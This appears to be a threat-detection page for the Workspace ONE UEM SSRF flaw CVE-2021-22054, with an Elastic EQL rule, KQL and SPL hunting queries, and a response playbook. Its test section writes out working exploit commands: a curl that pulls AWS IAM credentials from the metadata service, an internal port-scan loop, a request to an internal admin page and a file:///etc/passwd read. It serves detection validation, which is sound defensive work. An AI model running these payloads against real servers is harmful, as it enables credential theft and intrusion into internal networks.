CVE-2021-22054 Elastic Security · Elastic

Detect Omnissa Workspace ONE UEM Server-Side Request Forgery (CVE-2021-22054) in Elastic Security

Detects exploitation of CVE-2021-22054, a Server-Side Request Forgery (SSRF) vulnerability in Omnissa (formerly VMware) Workspace ONE UEM. An unauthenticated attacker can send crafted HTTP requests to the UEM server, causing it to make arbitrary outbound HTTP/HTTPS requests to internal or external resources. This can be leveraged to scan internal networks, access cloud metadata services (e.g., AWS IMDS), or pivot to internal services not directly reachable by the attacker. The vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=5m
  [network where process.name like~ "*airwatch*" or process.name like~ "*AwApi*" or process.name like~ "*UEM*"
   and (destination.ip == "169.254.169.254" or destination.ip == "127.0.0.1" or destination.ip == "::1"
        or destination.domain like "*metadata*" or destination.domain like "*localhost*")]
  [network where source.port in (80, 443, 8080, 8443)
   and (destination.ip == "169.254.169.254" or destination.ip == "127.0.0.1"
        or cidrmatch(destination.ip, "192.168.0.0/16", "10.0.0.0/8", "172.16.0.0/12"))
   and not destination.ip == source.ip]
high severity medium confidence

EQL sequence detecting Workspace ONE UEM processes making outbound connections to cloud metadata endpoints or internal RFC1918 addresses, which is characteristic of SSRF exploitation.

Data Sources

Endpoint network events (Elastic Agent / Winlogbeat)

Required Tables

logs-endpoint.network-*winlogbeat-*

False Positives & Tuning

  • Legitimate UEM health monitoring probes to internal management endpoints
  • Authorized network scanning tools running on the same host as UEM
  • Cloud-hosted UEM instances performing IMDS queries for instance metadata via approved channels
  • Split-tunnel VPN configurations causing internal IPs to appear as external destinations

Other platforms for CVE-2021-22054

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SSRF via Workspace ONE UEM Unauthenticated Endpoint to IMDS

    Expected signal: IIS access log entry for /DeviceManagement/enrollment with url= parameter containing 169.254.169.254; outbound network connection from UEM server to 169.254.169.254:80

  2. Test 2SSRF Internal Network Port Scan via Workspace ONE UEM

    Expected signal: Multiple IIS log entries within seconds for /AirWatch/ paths with url= parameters containing RFC1918 addresses on varying ports; timing differences in responses reveal open vs closed ports

  3. Test 3SSRF to Internal Administrative Interface via Redirect Parameter

    Expected signal: IIS log entry with redirect= parameter pointing to internal host; potential Windows Defender firewall log showing outbound connection from UEM process to internal admin host; Sysmon Event ID 3 network connection from IIS worker process (w3wp.exe) to internal IP

  4. Test 4SSRF File URI Scheme Attempt for Local File Read

    Expected signal: IIS log entry with file:// URI in URL parameter; absence of outbound network connection (file read is local); potential application error log entries if file:// is rejected by URL validation

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP(s) making requests to Workspace ONE UEM endpoints containing SSRF payloads; determine whether the source is external (internet-facing), internal (employee/contractor network), or an automated system.
  2. Review the specific URL parameters and URI paths involved in the suspicious requests (e.g., parameters named 'url', 'redirect', 'target', 'callback'). Decode any URL-encoded or Base64-encoded values to reveal the intended SSRF destination.
  3. Check whether the UEM server made any outbound connections to the targeted SSRF destination (e.g., 169.254.169.254, internal RFC1918 addresses). Correlate UEM outbound network logs against the inbound request timestamps.
  4. Determine if the SSRF attempt successfully retrieved any data by checking HTTP response codes and response body sizes logged by the UEM server or upstream proxy. A 200 response with a non-zero body from a metadata endpoint is a critical indicator of successful exploitation.
  5. Assess the patch level of the Workspace ONE UEM instance and compare against the advisory from VMware/Omnissa (VMSA-2021-0029) to determine if the system is running a vulnerable version.

Containment

  1. If active exploitation is confirmed or highly suspected, immediately block inbound traffic to the affected Workspace ONE UEM server's public-facing ports at the network perimeter (firewall/WAF) while coordinating with the MDM team to minimize device management disruption.
  2. Apply egress filtering on the UEM server host to block outbound HTTP/HTTPS connections to known SSRF targets, particularly the cloud instance metadata endpoints (169.254.169.254, metadata.google.internal, 100.100.100.200) and internal network ranges not required for UEM operations.
  3. Rotate any credentials or tokens that may have been exposed via the SSRF, especially cloud provider IAM credentials (AWS IAM role tokens, GCP service account tokens) retrievable via IMDS if the UEM server runs in a cloud environment.

Evidence Collection

  1. Collect and preserve full IIS or web server access logs from the UEM server covering at least 72 hours prior to detection, including request headers, response codes, and response sizes. Ensure log integrity with cryptographic hashing.
  2. Capture a memory image and network connection state (netstat/ss output) from the UEM server host immediately upon detection to identify any active connections to anomalous destinations established via the SSRF chain.
  3. Export firewall and proxy logs showing all outbound connections from the UEM server's IP address during the suspected exploitation window, focusing on connections to cloud metadata endpoints or unexpected internal subnets.

Escalation Criteria

  • !Escalate immediately if the SSRF successfully reached a cloud metadata endpoint (169.254.169.254) and returned credential data — this constitutes a credential compromise incident requiring cloud security team involvement.
  • !Escalate to incident response if SSRF requests show lateral movement indicators such as connections to internal databases, authentication servers (LDAP/AD), or other management plane systems not normally reachable from the UEM server's network segment.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >IIS/web server access logs containing requests to /DeviceManagement/, /AirWatch/, or /API/mdm/ paths with URL-encoded internal IP addresses in query parameters
  • >UEM server outbound network connection logs showing HTTP/HTTPS requests to 169.254.169.254 or RFC1918 addresses not in the UEM's expected egress list
  • >Windows Event Log (Security) on the UEM host showing process creation events for unexpected child processes of the UEM application service
  • >Cloud provider CloudTrail/Activity Log entries showing API calls originating from the UEM server's instance role, particularly GetCallerIdentity or ListBuckets calls made immediately after SSRF activity

Tuning Guidance

Begin by establishing a baseline of legitimate outbound connections from the Workspace ONE UEM server — document expected egress IPs and ports (e.g., connections to Apple APNs, Google FCM, email relays). Use this baseline to suppress known-good traffic in SSRF detection rules. Tune the URI path regex to match only the specific UEM API versions deployed in your environment and suppress query parameters that are documented as legitimate redirect endpoints. If the UEM server is deployed on-premises (not cloud), remove metadata IP rules (169.254.169.254) to reduce false positives, or invert this for cloud deployments where those are the highest-value SSRF targets. Raise confidence to high if you observe repeated attempts from the same external source IP within a short time window (automated exploitation tooling), or if any attempt returns a 200 response with a body size consistent with metadata API responses (typically 100-2000 bytes).

Hunting Queries

Proactive hunt across 7 days of IIS logs for SSRF payloads in URL parameters targeting Workspace ONE UEM API paths, looking for internal IP ranges and loopback addresses in redirect/callback parameters.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriStem has_any ("/DeviceManagement/", "/AirWatch/", "/API/mdm/", "/mGroups/")
| where csUriQuery matches regex @"(url|redirect|target|callback|next|dest|return)=[^&]*(169\.254|127\.0\.0\.1|localhost|0\.0\.0\.0|::1|10\.|192\.168|172\.(1[6-9]|2[0-9]|3[01]))"
| summarize RequestCount=count(), UniqueSourceIPs=dcount(cIP), SampleURIs=make_set(strcat(csUriStem, "?", csUriQuery), 5) by bin(TimeGenerated, 1h)
| where RequestCount > 0
| order by TimeGenerated desc
Hunting — SPL
spl 
index=web sourcetype=iis earliest=-7d
| where match(cs_uri_stem, "(?i)(/DeviceManagement/|/AirWatch/|/API/mdm/|/mGroups/)")
| where match(cs_uri_query, "(?i)(url|redirect|target|callback|next|dest|return)=.*?(169\.254|127\.0\.0\.1|localhost|0\.0\.0\.0|::1|10\.|192\.168|172\.(1[6-9]|2[0-9]|3[01]))")
| stats count AS ssrf_attempts, dc(c_ip) AS unique_sources, values(cs_uri_query) AS payloads BY host, cs_uri_stem
| sort -ssrf_attempts

Hunt for Workspace ONE UEM service processes making outbound network connections to cloud metadata or loopback addresses, which would indicate the server-side component of an SSRF exploit being executed.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName has_any ("AWServiceManager", "AwApi", "airwatch", "UEMServer")
| where RemoteIP in ("169.254.169.254", "127.0.0.1") or RemoteUrl has_any ("metadata", "169.254", "localhost")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort
| order by TimeGenerated desc
Hunting — SPL
spl 
index=endpoint sourcetype=crowdstrike:events:sensor earliest=-7d
| where ImageFileName in ("AWServiceManager.exe", "AwApiService.exe", "WorkspaceONE.exe")
| where RemoteAddressIP4="169.254.169.254" OR RemoteAddressIP4="127.0.0.1" OR match(HttpUri, "169\.254\.169\.254|metadata\.google")
| table _time, ComputerName, ImageFileName, RemoteAddressIP4, HttpUri, RemotePort

Atomic Red Team Tests

Test 1 SSRF via Workspace ONE UEM Unauthenticated Endpoint to IMDS
linux

Simulates an attacker sending an unauthenticated HTTP GET request to a Workspace ONE UEM endpoint with a crafted URL parameter targeting the AWS instance metadata service. This tests whether the UEM server will forward the request and return metadata content.

Command

bash 
curl -sk -o /tmp/ssrf_response.txt -w '%{http_code}' 'http://TARGET_UEM_HOST/DeviceManagement/enrollment?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' && cat /tmp/ssrf_response.txt

Cleanup

bash 
rm -f /tmp/ssrf_response.txt

Expected Telemetry

IIS access log entry for /DeviceManagement/enrollment with url= parameter containing 169.254.169.254; outbound network connection from UEM server to 169.254.169.254:80

Expected Detection

Alert fired by KQL W3CIISLog query or network SSRF detection rule matching 169.254.169.254 in URI query parameter

Test 2 SSRF Internal Network Port Scan via Workspace ONE UEM
linux

Simulates an attacker using the SSRF vulnerability to probe internal services by sending sequential requests with different internal IP:port combinations in the URL parameter, mapping the internal network from outside.

Command

bash 
for port in 22 80 443 3389 1433 5432 6379 8080; do echo "Testing port $port:"; curl -sk -o /dev/null -w "%{http_code} %{time_total}s\n" --max-time 3 "http://TARGET_UEM_HOST/AirWatch/deviceservices/enrollment/airwatchagent.mobileconfig?url=http://10.0.0.1:${port}/"; done

Cleanup

bash 
No cleanup required; all activity is network-only

Expected Telemetry

Multiple IIS log entries within seconds for /AirWatch/ paths with url= parameters containing RFC1918 addresses on varying ports; timing differences in responses reveal open vs closed ports

Expected Detection

Alert fired on repeated SSRF attempts to RFC1918 addresses across multiple ports; possible correlation with network flow data showing UEM server attempting connections to internal hosts

Test 3 SSRF to Internal Administrative Interface via Redirect Parameter
windows

Simulates an attacker exploiting the SSRF to access an internal administrative web interface (e.g., internal Confluence, Jenkins, or VCSA) that is not directly accessible from the internet but reachable from the UEM server's network segment.

Command

powershell 
Invoke-WebRequest -Uri 'http://TARGET_UEM_HOST/DeviceManagement/enrollment?redirect=http://INTERNAL_ADMIN_HOST:8080/admin/' -UseBasicParsing -TimeoutSec 10 | Select-Object StatusCode, @{N='BodyLength';E={$_.RawContent.Length}}

Cleanup

powershell 
No cleanup required

Expected Telemetry

IIS log entry with redirect= parameter pointing to internal host; potential Windows Defender firewall log showing outbound connection from UEM process to internal admin host; Sysmon Event ID 3 network connection from IIS worker process (w3wp.exe) to internal IP

Expected Detection

Alert fired by KQL query matching redirect parameter patterns against internal RFC1918 ranges; Sysmon-based detection of w3wp.exe making unexpected outbound connections to internal hosts

Test 4 SSRF File URI Scheme Attempt for Local File Read
linux

Tests whether the Workspace ONE UEM SSRF vulnerability can be chained with a file:// URI to read local files from the UEM server, which would escalate impact to local file disclosure.

Command

bash 
curl -sk 'http://TARGET_UEM_HOST/DeviceManagement/enrollment?url=file:///etc/passwd' -H 'User-Agent: Mozilla/5.0 (CVE-2021-22054 Test)' -o /tmp/ssrf_file_test.txt && head -5 /tmp/ssrf_file_test.txt

Cleanup

bash 
rm -f /tmp/ssrf_file_test.txt

Expected Telemetry

IIS log entry with file:// URI in URL parameter; absence of outbound network connection (file read is local); potential application error log entries if file:// is rejected by URL validation

Expected Detection

Alert fired on URI parameter containing file:// scheme in Workspace ONE endpoint; correlation with application error logs if the file scheme is partially handled before rejection

Related Detections

Tactic Hubs

TA0043ReconnaissanceTA0007DiscoveryTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1046Network Service DiscoveryT1552.005Cloud Instance Metadata APIT1210Exploitation of Remote Services

Same Tactic: Reconnaissance

Popular Detections